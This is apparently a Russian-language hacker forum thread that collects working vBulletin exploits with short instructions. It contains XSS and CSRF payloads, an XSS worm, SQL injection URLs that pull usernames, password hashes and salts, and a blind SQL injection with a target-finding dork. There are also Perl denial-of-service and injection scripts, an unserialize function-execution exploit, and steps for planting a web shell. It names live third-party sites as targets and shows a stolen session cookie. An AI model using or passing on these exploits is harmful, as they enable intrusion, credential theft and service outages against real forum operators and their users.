php/2?do=*/b%3D'te(%22<script
'/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/3?do=*/c%3D'src=http://'/*"
/>
<!--edit to match your data -->
<img src="http://localhost/vB/upload/admincp/faq.
php/4?do=*/d%3D'localhost/'/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
php/5?do=*/e%3D''/*" />
<img src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.
js></scrip'/*"
/>
<!-- end edit -->
<img src="http://localhost/vB/upload/admincp/faq.
php/7?do=*/g%3D't>%22)'/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
php/9?do=*/eval(h)/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/a0?do=*/</script>" />
</body>
</html>
2) Затем отправьте админа по ссылке:
/adminlog.php?do=view&script=&u=0&pp=15&orderby=script&page=1
Ограничения:
PHP_SELF - 50 characters max and no slashes
_REQUEST['do'] is limited to 20 characters
Также сообщается, что злоумышленник может внедрить и выполнить произвольный PHP код на системе с привилегиями Web сервера.
This Box continue the 3 vbulletin exploits, under it you can use the vbulletin install path exploit, the other two exploits can be only watched.
Code can be found here:
http://archive.cert.uni-stuttgart.de/bugtraq/2006/10/msg00243.html
################################################## ##########
## Author: M4k3 ##
## Script-Version: 1.0.2b ##
## Script-Name: vb_tool.php ##
## Copyright: pldsecurity.de / .com /pldsoft.com ##
## ##
## Comment: Next Version coming soon, check ##
## pldsecurity.com for Updates ##
################################################## ##########
Download:
http://rapidshare.com/files/130741356/Vbulletin_Password_Brute_Force.rar
vBulletin PhotoPost vBGallery v2.x Remote File Upload
http://milw0rm.com/exploits/6082
Некорректная проверка расширения загружаемого файла позволяет залить вебшелл.
Маленьки баг у хаке Ajax Reg суд в что при установленом этом хаком при регастраци можно выводить html тэги без слэша (/)....и ешо в плагине найден пассивный хсс..
1.Любой версия Vbulletin
2.Ajax Reg v.3.06 http://xaknets.h18.ru/AjaxReg.rar
3.Примые Руки
Вывод
1.Пишем в поля логина при регах <b>BAG тоест получайем это жирный шрифт.
_http://xaknets.h18.ru/images/1.bmp
2.Тепер как обычно курсив <i>BaG получайем это.
_http://xaknets.h18.ru/images/2.bmp
3.Черкныти <u>BaG
_http://xaknets.h18.ru/images/3.bmp
4.Тепер самы Главное) ВЫводим вот это
<font size="7" color="#008000"><b> <marquee bgcolor="#808080">BAGNUTI</marquee></b></font>
Получайем вот это))
_http://xaknets.h18.ru/images/4.bmp
вот и все
XSS УЯЗВИМОСТЬ
http://indimoviez.com/forums/ajax.php?do=CheckUsername¶m="><script>alert("ANTICHAT")</script>
~!DoK_tOR!~
11.08.2008, 02:34
#!"c:\perl\bin\perl.exe"
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<99999999999999999999999999999999999999999999999999 99999999999999999999; $i++)
{
$user="h4x0r".$rand.$i;
$data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
$len = length $data;
$foo = "POST ".$dir."search.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "|" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
print "\~rippers~ team\n";
print "\twww.~rippers~.org\n\n";
exit();
};
vBulletin sql inject Downloads Mod
site.com/fileinfo.php?id=-1674'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,concat(username,0x3a,password,0x3a,salt ),19,20,21,22,23,24,25,26+from+user/*
found by kobo
################################################## #############
Autor: NBBN
Founded: 5, January 2008
vBulletin Version: 3.6.8 Patch Level x and possible lower
Type: XSRF/XSS
Risk: Medium
################################################## #############
##Explanation(english)##
My english is bad, but I try :-) . vBulletin 3.6.8 is XSRF vulnurable.
Administrators can use html in there own usertitle.
An attacker can update the profile of an administrator by sending a link to a
site with a code like this:
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action="http://domain.tld/[path]/vBulletin/profile.php?do=updateprofile"
method="POST" name="form">
<input type="hidden" name="s" value="">
<input type="hidden" name="do" value="updateprofile">
<input type="hidden" name="customtext" value="###########XSS CODE#########">
<!-- Attacker's XSS Code -->
<input type="hidden" name="month" value="-1">
<input type="hidden" name="day" value="-1">
<input type="hidden" name="year" value="">
<input type="hidden" name="oldbirthday" value="">
<input type="hidden" name="showbirthday" value="2">
<input type="hidden" name="homepage" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="msn" value="">
<input type="hidden" name="yahoo" value="">
<input type="hidden" name="skype" value="">
</form>
</body>
</html>
If an attacker send a link in a pm for example, to the admin with a site
like the example code, the admin's usertitle updating and have a the code of
the attacker.The code executing if the admin have a post done in a thread
etc. An attacker can use this to steal the cookie of all user's who are
reading the thread.
##Explanation(Deutsch/German)##:
In vBulletin 3.6.8 gibt es eine XSRF Lücke, die dazu benutzt werden kann, um
XSS Code auszuführen. Admins können in ihren eigenen Benutzerrang HTML Code
verwenden. Das kann ein Angreifer ausnutzen um beliebigen html/javascript
code auszuführen, wenn er den oben stehenden code in eine Seite packt und
dann dem Admin eine Private Nachricht sendet, mit einem Link zu einer Seite
mit dem obigen HTML-Code. Somit ist es dem Angreifer möglich, alle Cookies
von den Benutzern zu klauen, die gerade einen Thread lesen,in welchem ein
Administrator gepostet hat.
Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4
_http://securityvulns.ru/Udocument391.html
Активка в всплывающем уведомлении о новом входящем ПМ.
"Show New Private Message Notification Pop-up" у юзера должно быть включено.
В теме ПМ сообщения:
--></script><script>alert(/xss/)</script><!--
####################################### Vbulletin Plugin ChatBox Xss Vulnerability #
Discovered By Alemin_Krali# al3m@bsdmail.org # www.al3m.blogspot.com
# Greetz : BeyazKurt,Kerem125,Cr@zy_King,Ercu_145,Abo Mohammed (Net Devil)# High Risk
Vulnerability! Xss Working!######################################note :You login site and xss try.
Ex:
http://www.localhost/misc.php?do=ccarc&cbt=xss
Example Site:
http://www.megaturks.net/forum/misc.php?do=ccarc&cbt=xss
and cookie
XSS acigi bulunan site=> www.megaturks.net — 16.08.2008 22:01 de kayit edilmistir. IP Adresi:
78.163.55.84 (whois)Cookies: bblastvisit=1218911541; bblastactivity=0;
bbforum_view=fcef3869fbbf346863082895ed158bd5de670 0a1a-2-{i-170_i-1218911557_i-
158_i-1218911699_};bbpassword:
7750c66b19631528799b516d65de5ef1;bbuserid=9524;bbt hread_lastview=f0d6496e44c2b0af
6b488fb24676aca245e8e60aa-1-{i-11619_i-1218911714_}
this big lammer center:)
a bugs life!
###########################################
Source:
http://securityvulns.com/Udocument371.html
/* -----------------------------
* Author = Mx
* Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
* Software = vBulletin
* Addon = Visitor Messages
* Version = 3.7.3
* Attack = XSS/XSRF
- Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
+ with the visitor messages addon (a clone of a social network wall/comment area).
- When posting XSS, the data is run through htmlentities(); before being displayed
+ to the general public/forum members. However, when posting a new message,
- a new notification is sent to the commentee. The commenter posts a XSS vector such as
+ <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
- under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
+ and I have included an example worm that makes the user post a new thread with your own
- specified subject and message.
* Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
* of the attack method.
* ----------------------------- */
function getNewHttpObject() {
var objType = false;
try {
objType = new ActiveXObject('Msxml2.XMLHTTP');
} catch(e) {
try {
objType = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {
objType = new XMLHttpRequest();
}
}
return objType;
}
function getAXAH(url){
var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAH();};
theHttpRequest.open("GET", url);
theHttpRequest.send(false);
function processAXAH(){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {
var str = theHttpRequest.responseText;
var secloc = str.indexOf('var SECURITYTOKEN = "');
var sectok = str.substring(21+secloc,secloc+51+21);
var posloc = str.indexOf('posthash" value="');
var postok = str.substring(17+posloc,posloc+32+17);
var subject = 'subject text';
var message = 'message text';
postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');
}
}
}
}
function postAXAH(url, params) {
var theHttpRequest = getNewHttpObject();
theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
theHttpRequest.open("POST", url);
theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
theHttpRequest.send(params);
function processAXAHr(elementContainer){
if (theHttpRequest.readyState == 4) {
if (theHttpRequest.status == 200) {
}
}
}
}
getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');
# milw0rm.com [2008-11-20]
http://milw0rm.com/exploits/7174
Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-69.html
Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
vBulletin (abbreviated as vB) is a commercial Internet forum software produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database server.
vBulletin is a professional, affordable community forum solution. Thousands of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.
Web: http://www.vbulletin.com/
List of found vulnerabilities
================================================== =============================
1. Sql Injection in "admincp/verify.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Impact: low
Preconditions: attacker must have admin account with Human Verification Manager
administer privileges
[---------- source code snippet start ----------]
if ($_POST['do'] == 'updateanswer')
{
$vbulletin->input->clean_array_gpc('p', array(
'answer' => TYPE_STR,
));
...
$db->query_write("
UPDATE " . TABLE_PREFIX . "hvanswer
SET answer = '" . $vbulletin->GPC['answer'] . "'
WHERE answerid = " . $vbulletin->GPC['answerid']
);
[----------- source code snippet end -----------]
It appears, that user submitted parameter "answer" is not properly sanitized
before using in sql query. As result sql injection is possible. Test will
induce sql error message:
Invalid SQL:
UPDATE vb_hvanswer
SET answer = 'war'axe'
WHERE answerid = 1;
2. Sql Injection in "admincp/attachmentpermission.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~
Impact: low
Preconditions: attacker must have admin account with Attachment Permissions
Manager administer privileges
As in previous case, user submitted parameter, this time it's "extension", is
used in sql query without proper snaitization. This results sql injection
vulnerability. For test log in as admin with needed privileges and then issue
GET request (using proper URI instead if example):
http://localhost/vbulletin374/admincp/attachmentpermission.php?do=edit&extension=war'axe
This results with error message from vBulletin:
Database error in vBulletin 3.7.4:
Invalid SQL:
SELECT size, width, height
FROM attachmenttype
WHERE extension = 'war'axe';
3. Sql Injection in "admincp/image.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~
Impact: low
Preconditions: attacker must have admin account with Avatars administer privileges
[---------- source code snippet start ----------]
if ($_POST['do'] == 'updatepermissions')
{
$vbulletin->input->clean_array_gpc('p', array(
'iperm' => TYPE_ARRAY,
'imagecategoryid' => TYPE_INT
));
...
foreach($vbulletin->GPC['iperm'] AS $usergroupid => $canuse)
{
if ($canuse == 0)
{
$db->query_write("
INSERT INTO " . TABLE_PREFIX . "imagecategorypermission
(
imagecategoryid,
usergroupid
)
VALUES
(
" . $vbulletin->GPC['imagecategoryid'] . ",
$usergroupid
)
[----------- source code snippet end -----------]
User-submitted array "iperm" is used in sql query without proper sanitization.
This results in sql injection. Testing ends with error message:
MySQL Error : Unknown column 'waraxe' in 'field list'
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/
---------------------------------- [ EOF ] ---------------------------------
(C)
mailbrush
14.12.2008, 12:14
HTML & XSS Code Execution
Выполнение произвольного HTML и XSS кода.
Должен быть установлен файл adminwarn.php, путь и права доступа к нему.
1. Заходим на http://site.com/forum/adminwarn.php?do=addstart&id=123456
Где 123456 - ID сообщения, где будет исполнятся код.
Текст предупреждения:
<script>alert('mailbrush H@CK3R')</script>
Потом заходим в тему, где есть сообщения, на ID которого мы ставили предупреждение, и видим алерт. Также можно вписать в Текст предупреждения, любой HTML код.
© mailbrush
mailbrush
21.01.2009, 22:15
HTML & XSS Code Execution x2
Что необходимо?
а) Доступ в админку
б) Прямые руки, соображение, минимальное знание инета и хтмл.
Как работает?
Уязвимость заключается в том, что поле "Заголовок" не фильтруется.
Начинаем
Заходим: Админка - Поля профиля участника - Добавить поле в профиле пользователя. (либо просто http://site.com/admincp/profilefield.php?do=add). Там выбираем: Тип поля профиля - Текстовое поле одной строчкой. Кликаем Далее. В поле заголовок вводим: <script>alert('mailbrush H@CK3R)</script>Кликаем Сохранить. После этого заходим:
а) Админка - Поля профиля участника - Управление полями профиля пользователя. (либо просто http://site.com/admincp/profilefield.php?do=modifycats) Потом выбираем наш Редактировать около нашего <script>alert('mailbrush H@CK3R)</script> (либо просто http://site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, где xx - уникальный ИД, который присвоился полю после добавления), и вуаля - у нас алерт.
b) Панель Управления - Личные Данные (либо просто http://site.com/profile.php?do=editprofile), и вуаля - у нас алерт.
© mailbrush
Flame of Soul
03.05.2009, 15:55
Из серии давно забыли:
vBulletin <= 3.0.8 Accessible Database Backup Searcher (http://milw0rm.com/exploits/1189)
exploits last.php (http://milw0rm.com/exploits/631)
Файл 'last.php' является модулем стороннего разработчика. Стандартный дистрибутив приложения неуязвим.
ph1l1ster
17.06.2009, 21:47
vBulletin® Version 3.8.2 Denial of Service Exploit
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
################################################## ######################
# Modules #
################################################## ######################
use IO::SOCKET; # Object interface #
################################################## ######################
if (@ARGV<1){
print"
################################################## ######################
## _ _ _ _ ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ##
##| _| -_| .'| |___| | | _| -_| _| | -_| _| ##
##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ##
## ##
################################################## ######################
################################################## ######################
## ## ##
##->vBulletin® Version 3.8.2<- ## ##
## ## ##
##Gebe diese Daten an ## ##
##1.Ziel ## www.Ziel.com ##
##2.Board ## vbulletin ##
##3.Verwundbarkeit ## forumdisplay.php?f= ##
##4.Zeit des vorganges ## 9999999999999999 ##
##5.Port ## 80 ##
################################################## ######################
\a";}
$block = "
################################################## ######################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
print"$block\n";
print q(Ziel->);
chomp($ziel =<STDIN>);
if ($ziel eq""){
die "$fehler\a\n";}
print"$block\n";
print"$block\n";
print q(Path->);
chomp($path =<STDIN>);
if ($path eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print "Verwundbarkeit\n";
print"forumdisplay.php?f=\n";
print"->"n;
chomp($vul =<STDIN>);
if ($vul eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Time->);
chomp($flood =<STDIN>);
if ($flood eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Port->);
chomp($port =<STDIN>);
if ($port eq ""){
die "$fehler \n";}
print"$block\n";
print q(Send "start"->);
chomp($start =<STDIN>);
if ($start eq "") {
die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print " Kontroliere Ziel : $ziel\n";
print " Kontroliere Board : $path\n";
print " Kontroliere Port : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
PeerAddr => "$ziel",
PeerPort => "$port",
Proto => "tcp",
);
print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}
[underwater]
06.07.2009, 21:30
Заливаем шелл[любая версия]
Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:
$target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file";
}
Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально.
Далее нам нужно место для загрузки:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>
Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл)
Баг пашет везде где установлен хак с мнениями, он заключен в редактированием post запроса. Пример - http://www.doneckforum.com/opinion.php. Что бы заюзать баг, нужно врубить tamper data, включить перехватку данных, затем нажать на форуме кнопку записать и затем вмешаться в запрос. Поле value отвечает за оценку которую Вы ставите, затем вводите туда любое число и жмете ок, опа мнение засчиталось! Этоже поле вообще не фильтруется, и там можно провести инъекцию типа (if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).. баг нашел лично сам, жду спасибок.
mailbrush
14.10.2009, 20:29
Blind - SQL Injection
Opinion System <= 1.4.3
Тип: SQL - Инъекция
Автор: mailbrush
Мод (хак): Opinion System <= 1.4.3
О моде: http://www.vbsupport.org/forum/showthread.php?p=272151
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "value" в файле opinion.php и позволяет удалённому пользователю внедрить SQL - команды в запрос к базе данных.
Уязвимый код:
opinion.php
$value = $_POST[value];
...
//пишем мнение в базу
$vbulletin->db->query_write("
INSERT INTO " . TABLE_PREFIX . "opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory".$modyfied1.")
VALUES ($opinionid, $fromuserid, $touserid, $value, $dateline, '".$vbulletin->db->escape_string($comment)."', $autofill, $history, $forcehistory".$modyfied2.")
");
Эксплуатация: Для эксплуатации уязвимости необходимо следующее:
Форум vBulletin.
Установленный мод Opinion System <= 1.4.3.
Зарегистрированный аккаунт на форуме.
Отправляем запрос:
POST /[path]/opinion.php HTTP/1.1
Host: [host]
Cookie: [cookie]
Connection: Keep-Alive
Content-Length: [content-length]
Content-Type: application/x-www-form-urlencoded
do=postvote&securitytoken=[token]&touserid=[touserid]&fromuserid=[fromuserid]&uop=0&username=[username]&comment=[comment]&value=[SQL]
[path] - путь к корню форума.
[host] - хост.
[cookie] - куки.
[content-length] - длина POST-запроса.
[token] - securitytoken (не во всех форумах надо указывать).
[touserid] - ID пользователя, которому ставим оценку.
[fromuserid] - ваш ID.
[username] - имя пользователя, которому ставим оценку.
[comment] - комментарий к оценке.
[SQL] - SQL - запрос.
В базу данных пойдет запрос вида
INSERT INTO prefix_opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory) VALUES ([DATA], [DATA], [DATA], [SQL], [DATA], [DATA], [DATA], [DATA], [DATA])
Соответственно вместо [SQL] можно подставить запрос вида
(if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).
Дорк: vbulletin inurl:opinion.php
VBulletin nulled <= 3.8.1 Arbitrary Function Execution
includes/class_core.php@3124:
class vB_Shutdown
{
/* ... */
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}
}
forumdisplay.php@165:
if ($vbulletin->GPC['postvars'] != '')
{
if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
{
$temp = unserialize($check);
/* ... */
}
}
includes/functions.php@2211:
function verify_client_string($string, $extra_entropy = '')
{
/* ... */
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
/* ... */
if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}
return false;
}
В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.
Эксплоит для выполнения phpinfo():
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
Root-access
04.12.2009, 00:23
']VBulletin nulled <= 3.8.1 Arbitrary Function Execution
includes/class_core.php@3124:
class vB_Shutdown
{
/* ... */
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}
}
forumdisplay.php@165:
if ($vbulletin->GPC['postvars'] != '')
{
if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
{
$temp = unserialize($check);
/* ... */
}
}
includes/functions.php@2211:
function verify_client_string($string, $extra_entropy = '')
{
/* ... */
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
/* ... */
if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}
return false;
}
В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.
Эксплоит для выполнения phpinfo():
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
Потестил немного - на двух форумах фильтрации нет, но почему-то phpinfo() не отображается.
Получаю лишь раскрытие путей.
Вот пример с хеки))
http://forum.xeka.ru/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i :0;s:7:%22phpinfo%22;}}
Имеем:
Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169
З.Ы.
Вот ещё мегаприватфорум:
http://boff.ws/forum/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i :0;s:7:%22phpinfo%22;}}
phpinfo() опять-таки не выполнилась, вот что пишет:
1||1259872978||||||||Error Opening Logfile.
В первом примере наверно стоит suhosin patch, который не допускает выполнение деструктора после Fatal Error. Насчет второго, ошибка вообще небулковская
blackybr
30.12.2009, 12:32
Root-access для удачной эксплуатации "плоент" надо немного изменить
Root-access
30.12.2009, 19:08
Root-access для удачной эксплуатации "плоент" надо немного изменить
Да я уже понял, что там ошибка, только пока её не исправил.
Структура данных там такая:
vB_Shutdown Object ( [shutdown] => Array ( [0] => phpinfo ) )
Надо её исправить...
Пытался залить шелл по инструкции:
Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:system($_GET["cmd"]);
Однако при попытке захода:
Content Encoding Error
The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.
* Please contact the website owners to inform them of this problem.
В чем причина и как обойти?
.:[melkiy]:.
01.01.2010, 00:48
budden, попробую вписать eval($_GET[cmd]), дальше site.ru/forum/faq.php?cmd=phpinfo(); или сразу весь код шелла запихнуть, дальше site.ru/forum/faq.php смотри что вышло
P.S не в ту тему написал
Xcontrol212
05.01.2010, 18:45
Раскрытие путей
vBulletin® Version 3.8.4
localhost/vb/calendar.php?do[]=[]add&[]type=[]recur&c=[]%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E
Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651
Уязвимый код:
function xss_clean($var)
{
static
$preg_find = array('#^javascript#i', '#^vbscript#i'),
$preg_replace = array('java script', 'vb script');
return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
}
UPD
http://localhost/vb/forumdisplay.php?do[]
Unable to add cookies, header already sent.
File: C:\xampp\htdocs\vb\includes\class_core.php
Line: 3277
Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651
Уязвимый код:
foreach (array('_GET', '_POST') AS $arrayname)
{
if (isset($GLOBALS["$arrayname"]['do']))
{
$GLOBALS["$arrayname"]['do'] = trim($GLOBALS["$arrayname"]['do']);
}
$this->convert_shortvars($GLOBALS["$arrayname"]);
}
Все GET и POST данные с параметром будет обрабатываться функцией trim,а если сделать их массивом,возникает ошибка.
(C)Xcontrol212
jecka3000
07.02.2010, 22:19
Vbulletin 4.0.1 Remote SQL Injection
п.с. хз пашет или нет...
#!/usr/bin/perl
use IO::Socket;
print q{
################################################## #####################
# vBulletin™ Version 4.0.1 Remote SQL Injection Exploit #
# By indoushka #
# www.iq-ty.com/vb #
# Souk Naamane (00213771818860) #
# Algeria Hackerz (indoushka@hotmail.com) #
# Dork: Powered by vBulletin™ Version 4.0.1 #
################################################## #####################
};
if (!$ARGV[2]) {
print q{
Usage: perl VB4.0.1.pl host /directory/ victim_userid
perl VB4.0.1.pl www.vb.com /forum/ 1
};
}
$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_use rs%20WHERE%20(uid= '".$user ;
print "[~] PREPARE TO CONNECT...\r\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";
print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
